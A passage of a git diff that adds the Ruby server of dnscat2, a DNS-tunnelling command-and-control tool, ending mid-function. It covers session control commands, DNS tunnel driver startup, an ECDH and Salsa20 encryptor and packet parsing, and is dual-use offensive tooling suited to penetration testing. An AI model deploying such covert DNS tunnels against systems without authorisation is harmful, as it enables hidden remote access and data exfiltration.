../$OUTNAME.tar.bz2 $i || die "Failed to create $i.tar.bz2" + ZIPS="$ZIPS $OUTNAME.tar.bz2" + + tar -czf ../$OUTNAME.tgz $i || die "Failed to create $i.tgz" + ZIPS="$ZIPS $OUTNAME.tgz" + fi + else + echo "Missing file warning: $i" + fi + +done + +cd .. + +echo "Signing files..." +for i in $ZIPS; do + gpg -q -b $i || die "Failed to sign $i" +done diff --git a/server/Dockerfile b/server/Dockerfile new file mode 100644 index 0000000..ebeb9fe --- /dev/null +++ b/server/Dockerfile @@ -0,0 +1,9 @@ +FROM ruby:2.1-onbuild +MAINTAINER Mark Percival + +EXPOSE 53/udp + +CMD ["ruby ./dnscat2.rb"] + +# Run it +# docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb foo.org diff --git a/server/Gemfile b/server/Gemfile new file mode 100644 index 0000000..a291971 --- /dev/null +++ b/server/Gemfile @@ -0,0 +1,11 @@ +# Gemfile +# By Ron Bowes +# +# See LICENSE.md + +source 'https://rubygems.org' + +gem 'trollop' # Commandline parsing +gem 'salsa20' # Encrypted connections +gem 'sha3' # Message signing + key derivation +gem 'ecdsa' # Used for ECDH key exchange diff --git a/server/Gemfile.lock b/server/Gemfile.lock new file mode 100644 index 0000000..4f9bbe8 --- /dev/null +++ b/server/Gemfile.lock @@ -0,0 +1,16 @@ +GEM + remote: https://rubygems.org/ + specs: + ecdsa (1.2.0) + salsa20 (0.1.1) + sha3 (1.0.1) + trollop (2.1.2) + +PLATFORMS + ruby + +DEPENDENCIES + ecdsa + salsa20 + sha3 + trollop diff --git a/server/controller/controller.rb b/server/controller/controller.rb new file mode 100644 index 0000000..05e6910 --- /dev/null +++ b/server/controller/controller.rb @@ -0,0 +1,93 @@ +## +# controller.rb +# Created April, 2014 +# By Ron Bowes +# +# See: LICENSE.md +# +# This keeps track of all sessions. +## + +require 'controller/controller_commands' +require 'controller/packet' +require 'controller/session' +require 'libs/commander' +require 'libs/dnscat_exception' + +require 'trollop' + +class Controller + include ControllerCommands + + attr_accessor :window + + def initialize() + @commander = Commander.new() + @sessions = {} + + _register_commands() + + WINDOW.on_input() do |data| + data = Settings::GLOBAL.do_replace(data) + begin + @commander.feed(data) + rescue ArgumentError => e + WINDOW.puts("Error: #{e}") + WINDOW.puts() + @commander.educate(data, WINDOW) + end + end + end + + def _get_or_create_session(id) + if(@sessions[id]) + return @sessions[id] + end + + return (@sessions[id] = Session.new(id, WINDOW)) + end + + def session_exists?(id) + return !@sessions[id].nil? + end + + def find_session(id) + return @sessions[id] + end + + def find_session_by_window(id) + id = id.to_s() + @sessions.each_value do |session| + if(session.window.id.to_s() == id) + return session + end + end + + return nil + end + + def kill_session(id) + session = find(id) + + if(!session.nil?) + session.kill() + end + end + + def list() + return @sessions + end + + def feed(data, max_length) + # If it's a ping packet, handle it up here + if(Packet.peek_type(data) == Packet::MESSAGE_TYPE_PING) + WINDOW.puts("Responding to ping packet: #{Packet.parse(data).body}") + return data + end + + session_id = Packet.peek_session_id(data) + session = _get_or_create_session(session_id) + + return session.feed(data, max_length) + end +end diff --git a/server/controller/controller_commands.rb b/server/controller/controller_commands.rb new file mode 100644 index 0000000..4b85d5f --- /dev/null +++ b/server/controller/controller_commands.rb @@ -0,0 +1,233 @@ +## +# controller_commands.rb +# Created August 29, 2015 +# By Ron Bowes +# +# See: LICENSE.md +## + +require 'tunnel_drivers/tunnel_drivers' + +module ControllerCommands + + def _register_commands() + @commander.register_alias('sessions', 'windows') + @commander.register_alias('session', 'window') + @commander.register_alias('q', 'quit') + @commander.register_alias('exit', 'quit') + @commander.register_alias('h', 'help') + @commander.register_alias('?', 'help') + + @commander.register_command('help', + Trollop::Parser.new do + banner("Shows a help menu") + end, + + Proc.new do |opts, optval| + @commander.help(WINDOW) + end, + ) + + @commander.register_command('echo', + Trollop::Parser.new do + banner("Print stuff to the terminal") + end, + + Proc.new do |opts, optarg| + WINDOW.puts(optarg) + end + ) + + @commander.register_command('windows', + Trollop::Parser.new do + banner("Lists the current active windows") + opt :all, "Show closed windows", :type => :boolean, :required => false + end, + + Proc.new do |opts, optarg| + CommandHelpers.display_windows(WINDOW, opts[:all], WINDOW) + end, + ) + + @commander.register_command("window", + Trollop::Parser.new do + banner("Interact with a window") + opt :i, "Interact with the chosen window", :type => :string, :required => false + end, + + Proc.new do |opts, optarg| + if(opts[:i].nil?) + CommandHelpers.display_windows(WINDOW, opts[:all], WINDOW) + next + end + + window = SWindow.get(opts[:i]) + if(window.nil?) + WINDOW.puts("Window #{opts[:i]} not found!") + WINDOW.puts() + CommandHelpers.display_windows(WINDOW, false, WINDOW) + next + end + + window.activate() + end + ) + + @commander.register_command("set", + Trollop::Parser.new do + banner("set =") + end, + + Proc.new do |opts, optarg| + if(optarg.length == 0) + WINDOW.puts("Usage: set =") + WINDOW.puts() + WINDOW.puts("** Global options:") + WINDOW.puts() + Settings::GLOBAL.each_setting() do |name, value, docs, default| + WINDOW.puts("%s => %s [default = %s]" % [name, CommandHelpers.format_field(value), CommandHelpers.format_field(default)]) + WINDOW.puts(CommandHelpers.wrap(docs, 72, 4)) + WINDOW.puts() + end + + next + end + + # Split at the '=' sign + namevalue = optarg.split("=", 2) + + if(namevalue.length != 2) + namevalue = optarg.split(" ", 2) + end + + if(namevalue.length != 2) + WINDOW.puts("Bad argument! Expected: 'set =' or 'set name value'!") + WINDOW.puts() + raise(Trollop::HelpNeeded) + end + + begin + Settings::GLOBAL.set(namevalue[0], namevalue[1], false) + rescue Settings::ValidationError => e + WINDOW.puts("Failed to set the new value: #{e}") + end + end + ) + + @commander.register_command("unset", + Trollop::Parser.new do + banner("unset ") + end, + + Proc.new do |opts, optarg| + Settings::GLOBAL.unset(optarg) + end + ) + + @commander.register_command("quit", + Trollop::Parser.new do + banner("Close all sessions and exit dnscat2") + end, + + Proc.new do |opts, optarg| + exit(0) + end + ) + + @commander.register_command("kill", + Trollop::Parser.new do + banner("Kill the specified session (to stop a tunnel driver, use 'stop')") + end, + + Proc.new do |opts, optarg| + session = find_session_by_window(optarg) + if(!session) + WINDOW.puts("Couldn't find window with id = #{optarg}") + next + end + + WINDOW.puts("Session #{optarg} has been sent the kill signal!") + session.kill() + end + ) + + @commander.register_command("start", + Trollop::Parser.new do + banner("Start a new tunnel_driver - currently, this just means another\n" + + "DNS driver. The 'startdns' command can also be used for simpler\n" + + "syntax.\n" + + "\n" + + "The protocol (--dns) must be specified, and all information\n" + + "about the DNS server should be passed as name=value pairs, where\n" + + "the following names are possible:\n" + + "\n" + + "domain= The domain to listen for requests on\n" + + " (optional)\n" + + "host= The host to listen on (default: 0.0.0.0).\n" + + "port= The port to listen on (default: 53).\n" + + "\n" + + " Examples:\n" + + " start --dns domain=skullseclabs.org\n" + + " start --dns domain=skullseclabs.org,port=53\n" + + " start --dns domain=skullseclabs.org,port=5353,host=127.0.0.1\n" + + "\n" + + "To stop a driver, simply use the 'kill' command on the window\n" + + "it created (td1, td2, etc)\n" + + "\n") + + opt :dns, "Start a DNS instance", :type => :string, :required => false + end, + + Proc.new do |opts, optarg| + if(opts[:dns].nil?) + WINDOW.puts("The --dns argument is currently required!") + raise(Trollop::HelpNeeded) + end + + begin + dns = CommandHelpers.parse_setting_string(opts[:dns], { :host => "0.0.0.0", :port => "53", :domains => [], :domain => [] }) + dns[:domains] = dns[:domains] + dns[:domain] + rescue ArgumentError => e + WINDOW.puts("Couldn't parse setting:") + WINDOW.puts(e) + raise(Trollop::HelpNeeded) + end + + TunnelDrivers.start({ + :controller => self, + :driver => DriverDNS, + :args => [dns[:host], dns[:port], dns[:domains]] + }) + end + ) + + @commander.register_command("stop", + Trollop::Parser.new do + banner("Stop the specified tunnel driver ('td*')") + end, + + Proc.new do |opts, optarg| + # Try to stop it if it's a tunnel driver + if(!TunnelDrivers.exists?(optarg)) + WINDOW.puts("No such driver: #{optarg}") + next + end + + TunnelDrivers.stop(optarg) + WINDOW.puts("Stopped the tunnel driver: #{optarg}") + end + ) + + @commander.register_command("tunnels", + Trollop::Parser.new do + banner("Displays a list of the active tunnel drivers") + end, + + Proc.new do |opts, optarg| + TunnelDrivers.each_driver do |name, desc| + WINDOW.puts("#{name} :: #{desc}") + end + end + ) + end +end diff --git a/server/controller/crypto_helper.rb b/server/controller/crypto_helper.rb new file mode 100644 index 0000000..5fdef1f --- /dev/null +++ b/server/controller/crypto_helper.rb @@ -0,0 +1,35 @@ +## +# crypto_helper.rb +# Created December, 2015 +# By Ron Bowes +# +# See: LICENSE.md +# +# Implements functions that encryptor.rb (packet.rb) need. +## + +class CryptoHelper + def CryptoHelper.bignum_to_binary(bn, size=32) + if(!bn.is_a?(Bignum)) + raise(ArgumentError, "Expected: Bignum; received: #{bn.class}") + end + + return [bn.to_s(16).rjust(size*2, "\0")].pack("H*") + end + + def CryptoHelper.bignum_to_text(bn, size=32) + if(!bn.is_a?(Bignum)) + raise(ArgumentError, "Expected: Bignum; received: #{bn.class}") + end + + return CryptoHelper.bignum_to_binary(bn, size).unpack("H*").pop() + end + + def CryptoHelper.binary_to_bignum(binary) + if(!binary.is_a?(String)) + raise(ArgumentError, "Expected: String; received: #{binary.class}") + end + + return binary.unpack("H*").pop().to_i(16) + end +end diff --git a/server/controller/encryptor.rb b/server/controller/encryptor.rb new file mode 100644 index 0000000..41fbb93 --- /dev/null +++ b/server/controller/encryptor.rb @@ -0,0 +1,287 @@ +## +# encryptor.rb +# Created October, 2015 +# By Ron Bowes +# +# See: LICENSE.md +# +## + +require 'ecdsa' +require 'salsa20' +require 'securerandom' +require 'sha3' + +require 'controller/crypto_helper' +require 'controller/encryptor_sas' +require 'libs/dnscat_exception' +require 'libs/swindow' + +class Encryptor + include EncryptorSAS + + ECDH_GROUP = ECDSA::Group::Nistp256 + + @@window = SWindow.new(WINDOW, false, { :noinput => true, :id => "crypto-debug", :name => "Debug window for crypto stuff"}) + @@window.puts("This window is for debugging encryption problems!") + @@window.puts("In general, you can ignore it. :)") + @@window.puts() + @@window.puts("One thing to note: you'll see a lot of meaningless errors here,") + @@window.puts("because of retransmissions and such. They don't necessarily mean") + @@window.puts("anything!") + @@window.puts() + @@window.puts("But if you ARE having crypto problems, please send me these") + @@window.puts("logs! Don't worry too much about the private keys; they're") + @@window.puts("session-specific and won't harm anything in the future") + @@window.puts() + + class Error < StandardError + end + + def _create_key(key_name) + return SHA3::Digest::SHA256.digest(CryptoHelper.bignum_to_binary(@keys[:shared_secret]) + key_name) + end + + def _create_authenticator(name, preshared_secret) + return SHA3::Digest::SHA256.digest(name + + CryptoHelper.bignum_to_binary(@keys[:shared_secret]) + + CryptoHelper.bignum_to_binary(@keys[:their_public_key].x) + + CryptoHelper.bignum_to_binary(@keys[:their_public_key].y) + + CryptoHelper.bignum_to_binary(@keys[:my_public_key].x) + + CryptoHelper.bignum_to_binary(@keys[:my_public_key].y) + + preshared_secret + ) + end + + def initialize(preshared_secret) + @@window.puts("Creating Encryptor with secret: #{preshared_secret}") + + @preshared_secret = preshared_secret + @authenticated = false + + # Start with encryption turned off + @keys = { + :my_nonce => -1, + :their_nonce => -1, + :my_private_key => nil, + :my_public_key => nil, + :their_public_key => nil, + :shared_secret => nil, + :their_authenticator => nil, + :my_authenticator => nil, + :their_write_key => nil, + :their_mac_key => nil, + :my_write_key => nil, + :my_mac_key => nil, + } + @old_keys = nil + end + + # Returns true if something was changed + def set_their_public_key(their_public_key_x, their_public_key_y) + # Check if we're actually changing anything + if(@keys[:their_public_key_x] == their_public_key_x && @keys[:their_public_key_y] == their_public_key_y) + @@window.puts("Attempted to set the same public key!") + return false + end + + @old_keys = @keys + + @keys = { + :my_nonce => -1, + :their_nonce => -1, + } + + if(ready?()) + @@window.puts("Wow, this session is old (or the client is needy)! Key re-negotiation requested!") + end + + @keys[:my_private_key] = 1 + SecureRandom.random_number(ECDH_GROUP.order - 1) + @keys[:my_public_key] = ECDH_GROUP.generator.multiply_by_scalar(@keys[:my_private_key]) + @keys[:their_public_key_x] = their_public_key_x + @keys[:their_public_key_y] = their_public_key_y + @keys[:their_public_key] = ECDSA::Point.new(ECDH_GROUP, their_public_key_x, their_public_key_y) + + @keys[:shared_secret] = @keys[:their_public_key].multiply_by_scalar(@keys[:my_private_key]).x + + @keys[:their_authenticator] = _create_authenticator("client", @preshared_secret) + @keys[:my_authenticator] = _create_authenticator("server", @preshared_secret) + + @keys[:their_write_key] = _create_key("client_write_key") + @keys[:their_mac_key] = _create_key("client_mac_key") + @keys[:my_write_key] = _create_key("server_write_key") + @keys[:my_mac_key] = _create_key("server_mac_key") + + @@window.puts("Setting their public key: #{CryptoHelper.bignum_to_text(@keys[:their_public_key_x])} #{CryptoHelper.bignum_to_text(@keys[:their_public_key_y])}") + @@window.puts("Setting my public key: #{CryptoHelper.bignum_to_text(@keys[:my_public_key].x)} #{CryptoHelper.bignum_to_text(@keys[:my_public_key].y)}") + + return true + end + + def set_their_authenticator(their_authenticator) + if(!@keys[:their_authenticator]) + @@window.puts("Tried to set an authenticator too early") + raise(DnscatException, "We weren't ready to set an authenticator!") + end + + if(@keys[:their_authenticator] != their_authenticator) + @@window.puts("Tried to set a bad authenticator") + @@window.puts("Expected: #{@keys[:their_authenticator].unpack("H*")}") + @@window.puts("Received: #{their_authenticator.unpack("H*")}") + raise(Encryptor::Error, "Authenticator (pre-shared secret) doesn't match!") + end + + @@window.puts("Successfully authenticated the session") + @authenticated = true + end + + def to_s(keys = nil) + keys = keys || @keys + + out = [] + out << "My private key: #{CryptoHelper.bignum_to_text(@keys[:my_private_key])}" + out << "My public key [x]: #{CryptoHelper.bignum_to_text(@keys[:my_public_key].x)}" + out << "My public key [y]: #{CryptoHelper.bignum_to_text(@keys[:my_public_key].y)}" + out << "Their public key [x]: #{CryptoHelper.bignum_to_text(@keys[:their_public_key].x)}" + out << "Their public key [y]: #{CryptoHelper.bignum_to_text(@keys[:their_public_key].y)}" + out << "Shared secret: #{CryptoHelper.bignum_to_text(@keys[:shared_secret])}" + out << "" + out << "Their authenticator: #{@keys[:their_authenticator].unpack("H*")}" + out << "My authenticator: #{@keys[:my_authenticator].unpack("H*")}" + out << "" + out << "Their write key: #{@keys[:their_write_key].unpack("H*")}" + out << "Their mac key: #{@keys[:their_mac_key].unpack("H*")}" + out << "My write key: #{@keys[:my_write_key].unpack("H*")}" + out << "My mac key: #{@keys[:my_mac_key].unpack("H*")}" + out << "" + out << "SAS: #{get_sas()}" + + return out.join("\n") + end + + def my_public_key_x() + return @keys[:my_public_key].x + end + + def my_public_key_x_s() + return CryptoHelper.bignum_to_binary(@keys[:my_public_key].x) + end + + def my_public_key_y() + return @keys[:my_public_key].y + end + + def my_public_key_y_s() + return CryptoHelper.bignum_to_binary(@keys[:my_public_key].y) + end + + def my_nonce() + return @keys[:my_nonce] += 1 + end + + # We use this special internal function so we can try decrypting with different keys + def _decrypt_packet_internal(keys, data) + # Don't decrypt if we don't have a key set + if(!ready?(keys)) + @@window.puts("Not decrypting data (incoming data seemed to be cleartext): #{data.unpack("H*")}") + return data + end + + # Parse out the important fields + header, signature, nonce, encrypted_body = data.unpack("a5a6a2a*") + + # Put together the data to sign + signed_data = header + nonce + encrypted_body + + # Check the signature + correct_signature = SHA3::Digest::SHA256.digest(keys[:their_mac_key] + signed_data) + if(correct_signature[0,6] != signature) + @@window.puts("Couldn't verify packet signature!") + raise(Encryptor::Error, "Invalid signature!") + end + + # Check the nonce *after* checking the signature (otherwise, we might update the nonce to a bad value and Bad Stuff happens) + nonce_int = nonce.unpack("n").pop() + if(nonce_int < keys[:their_nonce]) + @@window.puts("Client tried to use an invalid nonce: #{nonce_int} < #{keys[:their_nonce]}") + raise(Encryptor::Error, "Invalid nonce!") + end + keys[:their_nonce] = nonce_int + + # Decrypt the body + body = Salsa20.new(keys[:their_write_key], nonce.rjust(8, "\0")).decrypt(encrypted_body) + + #@@window.puts("Decryption successful") + return header+body + end + + # By doing this as a single operation, we can always be sure that we're encrypting data + # with the same key the client use to encrypt data + def decrypt_and_encrypt(data) + ## ** Decrypt + keys = @keys + begin + #@@window.puts("Attempting to decrypt with primary key") + data = _decrypt_packet_internal(keys, data) + #@@window.puts("Successfully decrypted with primary key") + + # If it was successfully decrypted, make sure the @old_keys will no longer work + @old_keys = nil + rescue Encryptor::Error => e + # Attempt to fall back to old keys + if(@old_keys.nil?) + @@window.puts("No secondary key to fallback to") + raise(e) + end + + @@window.puts("Attempting to decrypt with secondary key") + keys = @old_keys + data = _decrypt_packet_internal(@old_keys, data) + @@window.puts("Successfully decrypted with secondary key") + end + + # Send the decrypted data up and get the encrypted data back + data = yield(data, ready?(keys)) + + # If there was an error of some sort, return nothing + if(data.nil? || data == '') + return '' + end + + # If encryption is turned off, return unencrypted data + if(!ready?(keys)) + @@window.puts("Returning an unencrypted response") + return data + end + + ## ** Encrypt + #@@window.puts("Encrypting the response") + + # Split the packet into a header and a body + header, body = data.unpack("a5a*") + + # Encode the nonce properly + nonce = [keys[:my_nonce]].pack("n") + + # Encrypt the body + encrypted_body = Salsa20.new(keys[:my_write_key], nonce.rjust(8, "\0")).encrypt(body) + + # Sign it + signature = SHA3::Digest::SHA256.digest(keys[:my_mac_key] + header + nonce + encrypted_body) + + # Arrange things appropriately + return [header, signature[0,6], nonce, encrypted_body].pack("a5a6a2a*") + end + + def my_authenticator() + return @keys[:my_authenticator] + end + + def ready?(keys = nil) + return !(keys || @keys)[:shared_secret].nil? + end + + def authenticated?() + return @authenticated + end +end diff --git a/server/controller/encryptor_sas.rb b/server/controller/encryptor_sas.rb new file mode 100644 index 0000000..9799855 --- /dev/null +++ b/server/controller/encryptor_sas.rb @@ -0,0 +1,281 @@ +## +# encryptor_sas.rb +# Created October, 2015 +# By Ron Bowes +# +# See: LICENSE.md +# +## + +require 'sha3' + +module EncryptorSAS + SAS_WORDLIST = [ + 'Abate', + 'Absorb', + 'Ache', + 'Acidy', + 'Across', + 'After', + 'Alike', + 'Amount', + 'Amuse', + 'Annoy', + 'Annuls', + 'Ardent', + 'Ascot', + 'Bait', + 'Barons', + 'Barret', + 'Bask', + 'Becurl', + 'Befool', + 'Bell', + 'Bifold', + 'Bogie', + 'Boxen', + 'Bozo', + 'Broke', + 'Bulby', + 'Bunny', + 'Calmly', + 'Canary', + 'Cargo', + 'Chirp', + 'Chroma', + 'Cleft', + 'Coke', + 'Column', + 'Comely', + 'Cometh', + 'Convoy', + 'Corn', + 'Cough', + 'Cruxes', + 'Cued', + 'Darter', + 'Dash', + 'Dating', + 'Deadly', + 'Deaf', + 'Decade', + 'Deepen', + 'Depict', + 'Domed', + 'Dorper', + 'Drafts', + 'Dried', + 'Duff', + 'Durian', + 'Early', + 'Easily', + 'Eggars', + 'Emboss', + 'Emit', + 'Encode', + 'Ennui', + 'Envied', + 'Essay', + 'Evites', + 'Evoke', + 'Exotic', + 'Facile', + 'Fate', + 'Feisty', + 'Fewest', + 'Fifty', + 'Filth', + 'Finer', + 'Fished', + 'Flacks', + 'Flaunt', + 'Fleecy', + 'Flied', + 'Foams', + 'Foxes', + 'Freely', + 'Frozen', + 'Genome', + 'Gibbon', + 'Gifts', + 'Giving', + 'Gold', + 'Gone', + 'Gouge', + 'Grocer', + 'Grows', + 'Half', + 'Handle', + 'Harold', + 'Harp', + 'Hedges', + 'Hither', + 'Hobbit', + 'Hobble', + 'Hoods', + 'Hooked', + 'Horror', + 'Horsed', + 'Hound', + 'Huns', + 'Ices', + 'Impish', + 'Jiber', + 'Jiggy', + 'Kelpy', + 'Keyman', + 'Khan', + 'Killer', + 'Klutzy', + 'Lair', + 'Lashes', + 'Libate', + 'Liming', + 'Lonely', + 'Looks', + 'Lordy', + 'Lush', + 'Mailer', + 'Maps', + 'Mayo', + 'Mcgill', + 'Mona', + 'Motive', + 'Mousy', + 'Neigh', + 'Ninjas', + 'Nodule', + 'Nuns', + 'Obese', + 'Olive', + 'Omelet', + 'Omen', + 'Otto', + 'Outran', + 'Ouzo', + 'Owls', + 'Papism', + 'Parrot', + 'Peace', + 'Pearly', + 'Peaty', + 'Pedal', + 'Pegged', + 'Petals', + 'Phials', + 'Pianos', + 'Pierce', + 'Pigs', + 'Pikey', + 'Pitch', + 'Plato', + 'Plays', + 'Plight', + 'Poetic', + 'Poker', + 'Polite', + 'Pontic', + 'Pony', + 'Powers', + 'Poxes', + 'Prams', + 'Pulped', + 'Purr', + 'Push', + 'Quint', + 'Random', + 'Rapier', + 'Ravel', + 'Real', + 'Rebolt', + 'Recoil', + 'Redear', + 'Reink', + 'Ripe', + 'Riprap', + 'Roger', + 'Ropers', + 'Roving', + 'Rumor', + 'Sanded', + 'Sawlog', + 'Sawman', + 'Scribe', + 'Scruff', + 'Seitan', + 'Sense', + 'Shirks', + 'Sippy', + 'Sitcom', + 'Slumpy', + 'Softy', + 'Sonar', + 'Sonny', + 'Sophic', + 'Spear', + 'Spiced', + 'Spikey', + 'Spine', + 'Spoofy', + 'Spring', + 'Static', + 'Staved', + 'Stilt', + 'Stinty', + 'Stirs', + 'Storer', + 'Story', + 'Strode', + 'Stump', + 'Suited', + 'Surfs', + 'Swatch', + 'Swum', + 'Tables', + 'Taking', + 'Tattoo', + 'Teal', + 'Teeth', + 'Telco', + 'Timer', + 'Tins', + 'Tonite', + 'Tore', + 'Tort', + 'Tried', + 'Trivia', + 'Tubule', + 'Tusked', + 'Twins', + 'Twos', + 'Unborn', + 'Undam', + 'Unwrap', + 'Upcurl', + 'Upseal', + 'Visas', + 'Volume', + 'Waded', + 'Wages', + 'Ware', + 'Wears', + 'Wicked', + 'Winful', + 'Wisely', + 'Wisp', + 'Yerba', + 'Zester', + 'Zoner', + 'Zootic', + ] + + def get_sas() + return SHA3::Digest::SHA256.digest("authstring" + + CryptoHelper.bignum_to_binary(@keys[:shared_secret]) + + CryptoHelper.bignum_to_binary(@keys[:their_public_key].x) + + CryptoHelper.bignum_to_binary(@keys[:their_public_key].y) + + CryptoHelper.bignum_to_binary(@keys[:my_public_key].x) + + CryptoHelper.bignum_to_binary(@keys[:my_public_key].y) + )[0,6].bytes().map() { |b| SAS_WORDLIST[b] }.join(' ') + end +end diff --git a/server/controller/packet.rb b/server/controller/packet.rb new file mode 100644 index 0000000..35b02e3 --- /dev/null +++ b/server/controller/packet.rb @@ -0,0 +1,404 @@ +## +# packet.rb +# Created March, 2013 +# By Ron Bowes +# +# See: LICENSE.md +# +# Builds and parses dnscat2 packets. +## + +require 'controller/crypto_helper' +require 'libs/dnscat_exception' +require 'libs/hex' + +module PacketHelper + def at_least?(data, needed) + return (data.length >= needed) + end + def exactly?(data, needed) + return (data.length == needed) + end +end + +class Packet + extend PacketHelper + + # Message types + MESSAGE_TYPE_SYN = 0x00 + MESSAGE_TYPE_MSG = 0x01 + MESSAGE_TYPE_FIN = 0x02 + MESSAGE_TYPE_PING = 0xFF + MESSAGE_TYPE_ENC = 0x03 + + OPT_NAME = 0x0001 + # OPT_TUNNEL = 0x0002 # Deprecated + # OPT_DATAGRAM = 0x0004 # Deprecated + # OPT_DOWNLOAD = 0x0008 # Deprecated + # OPT_CHUNKED_DOWNLOAD = 0x0010 # Deprecated + OPT_COMMAND = 0x0020 + + attr_reader :packet_id, :type, :session_id, :body + + class SynBody + extend PacketHelper + + attr_reader :seq, :options, :name + + def initialize(options, params = {}) + @options = options || raise(DnscatException, "options can't be nil!") + @seq = params[:seq] || raise(DnscatException, "params[:seq] can't be nil!") + + if((@options & OPT_NAME) == OPT_NAME) + @name = params[:name] || raise(DnscatException, "params[:name] can't be nil when OPT_NAME is set!") + else + @name = "(unnamed)" + end + end + + def SynBody.parse(data) + at_least?(data, 4) || raise(DnscatException, "Packet is too short (SYN)") + + seq, options, data = data.unpack("nna*") + + # Parse the option name, if it has one + name = nil + if((options & OPT_NAME) == OPT_NAME) + if(data.index("\0").nil?) + raise(DnscatException, "OPT_NAME set, but no null-terminated name given") + end + name, data = data.unpack("Z*a*") + else + name = "[unnamed]" + end + + # Verify that that was the entire packet + if(data.length > 0) + raise(DnscatException, "Extra data on the end of an SYN packet :: #{data.unpack("H*")}") + end + + return SynBody.new(options, { + :seq => seq, + :name => name, + }) + end + + def to_s() + return "[[SYN]] :: isn = %04x, options = %04x, name = %s" % [@seq, @options, @name] + end + + def to_bytes() + result = [@seq, @options].pack("nn") + + if((@options & OPT_NAME) == OPT_NAME) + result += [@name].pack("Z*") + end + + return result + end + end + + class MsgBody + extend PacketHelper + + attr_reader :seq, :ack, :data + + def initialize(options, params = {}) + @options = options + @seq = params[:seq] || raise(DnscatException, "params[:seq] can't be nil!") + @ack = params[:ack] || raise(DnscatException, "params[:ack] can't be nil!") + @data = params[:data] || raise(DnscatException, "params[:data] can't be nil!") + end + + def MsgBody.parse(options, data) + at_least?(data, 4) || raise(DnscatException, "Packet is too short (MSG norm)") + + seq, ack = data.unpack("nn") + data = data[4..-1] # Remove the first four bytes + + return MsgBody.new(options, { + :seq => seq, + :ack => ack, + :data => data, + }) + end + + def MsgBody.header_size(options) + return MsgBody.new(options, { + :seq => 0, + :ack => 0, + :data => '', + }).to_bytes().length() + end + + def to_s() + return "[[MSG]] :: seq = %04x, ack = %04x, data = 0x%x bytes" % [@seq, @ack, data.length] + end + + def to_bytes() + result = "" + seq = @seq || 0 + ack = @ack || 0 + result += [seq, ack, @data].pack("nna*") + + return result + end + end + + class FinBody + extend PacketHelper + + attr_reader :reason + + def initialize(options, params = {}) + @options = options + @reason = params[:reason] || raise(DnscatException, "params[:reason] can't be nil!") + end + + def FinBody.parse(options, data) + at_least?(data, 1) || raise(DnscatException, "Packet is too short (FIN)") + + reason = data.unpack("Z*").pop + data = data[(reason.length+1)..-1] + + if(data.length > 0) + raise(DnscatException, "Extra data on the end of a FIN packet") + end + + return FinBody.new(options, { + :reason => reason, + }) + end + + def to_s() + return "[[FIN]] :: %s" % [@reason] + end + + def to_bytes() + [@reason].pack("Z*") + end + end + + class PingBody + extend PacketHelper + + attr_reader :data + + def initialize(options, params = {}) + @options = options + @data = params[:data] || raise(DnscatException, "params[:data] can't be nil!") + end + + def PingBody.parse(options, data) + at_least?(data, 3) || raise(DnscatException, "Packet is too short (PING)") + + data = data.unpack("Z*").pop + + return PingBody.new(options, { + :data => data, + }) + end + + def to_s() + return "[[PING]] :: %s" % [@data] + end + + def to_bytes() + [@data].pack("Z*") + end + end + + class EncBody + extend PacketHelper + + SUBTYPE_INIT = 0x0000 + SUBTYPE_AUTH = 0x0001 + attr_reader :subtype, :flags + attr_reader :public_key_x, :public_key_y # SUBTYPE_INIT + attr_reader :authenticator # SUBTYPE_AUTH + + def initialize(params = {}) + @subtype = params[:subtype] || raise(DnscatException, "params[:subtype] is required!") + @flags = params[:flags] || raise(DnscatException, "params[:flags] is required!") + + if(@subtype == SUBTYPE_INIT) + @public_key_x = params[:public_key_x] || raise(DnscatException, "params[:public_key_x] is required!") + @public_key_y = params[:public_key_y] || raise(DnscatException, "params[:public_key_y] is required!") + + if(!@public_key_x.is_a?(Bignum) || !@public_key_y.is_a?(Bignum)) + raise(DnscatException, "Public keys have to be Bignums! (Seen: #{@public_key_x.class} #{@public_key_y.class})") + end + elsif(@subtype == SUBTYPE_AUTH) + @authenticator = params[:authenticator] || raise(DnscatException, "params[:authenticator] is required!") + + if(@authenticator.length != 32) + raise(DnscatException, "params[:authenticator] was the wrong size!") + end + else + raise(DnscatException, "Unknown subtype: #{@subtype}") + end + end + + def EncBody.parse(data) + at_least?(data, 4) || raise(DnscatException, "ENC packet is too short!") + + subtype, flags, data = data.unpack("nna*") + + params = { + :subtype => subtype, + :flags => flags, + } + + if(subtype == SUBTYPE_INIT) + exactly?(data, 64) || raise(DnscatException, "ENC packet is too short!") + + public_key_x, public_key_y, data = data.unpack("a32a32a*") + + params[:public_key_x] = CryptoHelper.binary_to_bignum(public_key_x) + params[:public_key_y] = CryptoHelper.binary_to_bignum(public_key_y) + + elsif(subtype == SUBTYPE_AUTH) + exactly?(data, 32) || raise(DnscatException, "ENC packet is too short!") + + authenticator, data = data.unpack("a32a*") + + params[:authenticator] = authenticator + else + raise(DnscatException, "Unknown subtype: #{subtype}") + end + + if(data != "") + raise(DnscatException, "Extra data on the end of an ENC packet") + end + + return EncBody.new(params) + end + + def to_s() + if(@subtype == SUBTYPE_INIT) + return "[[ENC|INIT]] :: flags = 0x%04x, pubkey = %s,%s" % [@flags, CryptoHelper.bignum_to_text(@public_key_x), CryptoHelper.bignum_to_text(@public_key_y)] + elsif(@subtype == SUBTYPE_AUTH) + return "[[ENC|AUTH]] :: flags = 0x%04x, authenticator = %s" % [@flags, @authenticator.unpack("H*").pop()] + else + raise(DnscatException, "Unknown subtype: #{@subtype}") + end + end + + def to_bytes() + if(@subtype == SUBTYPE_INIT) + public_key_x = CryptoHelper.bignum_to_binary(@public_key_x) + public_key_y = CryptoHelper.bignum_to_binary(@public_key_y) + + return [@subtype, @flags, public_key_x, public_key_y].pack("nna32a32") + elsif(@subtype == SUBTYPE_AUTH) + return [@subtype, @flags, @authenticator].pack("nna32") + else + raise(DnscatException, "Unknown subtype: #{@subtype}") + end + end + end + + def ==(other_packet) + return self.to_bytes() == other_packet.to_bytes() + end + + # You probably don't ever want to use this, call Packet.parse() or Packet.create_*() instead + def initialize(packet_id, type, session_id, body) + @packet_id = packet_id || rand(0xFFFF) + @type = type || raise(DnscatException, "type can't be nil!") + @session_id = session_id || raise(DnscatException, "session_id can't be nil!") + @body = body + end + + def Packet.header_size(options) + return Packet.new(0, 0, 0, nil).to_bytes().length() + end + + def Packet.parse_header(data) + at_least?(data, 5) || raise(DnscatException, "Packet is too short (header)") + + # (uint16_t) packet_id + # (uint8_t) message_type + # (uint16_t) session_id + packet_id, type, session_id = 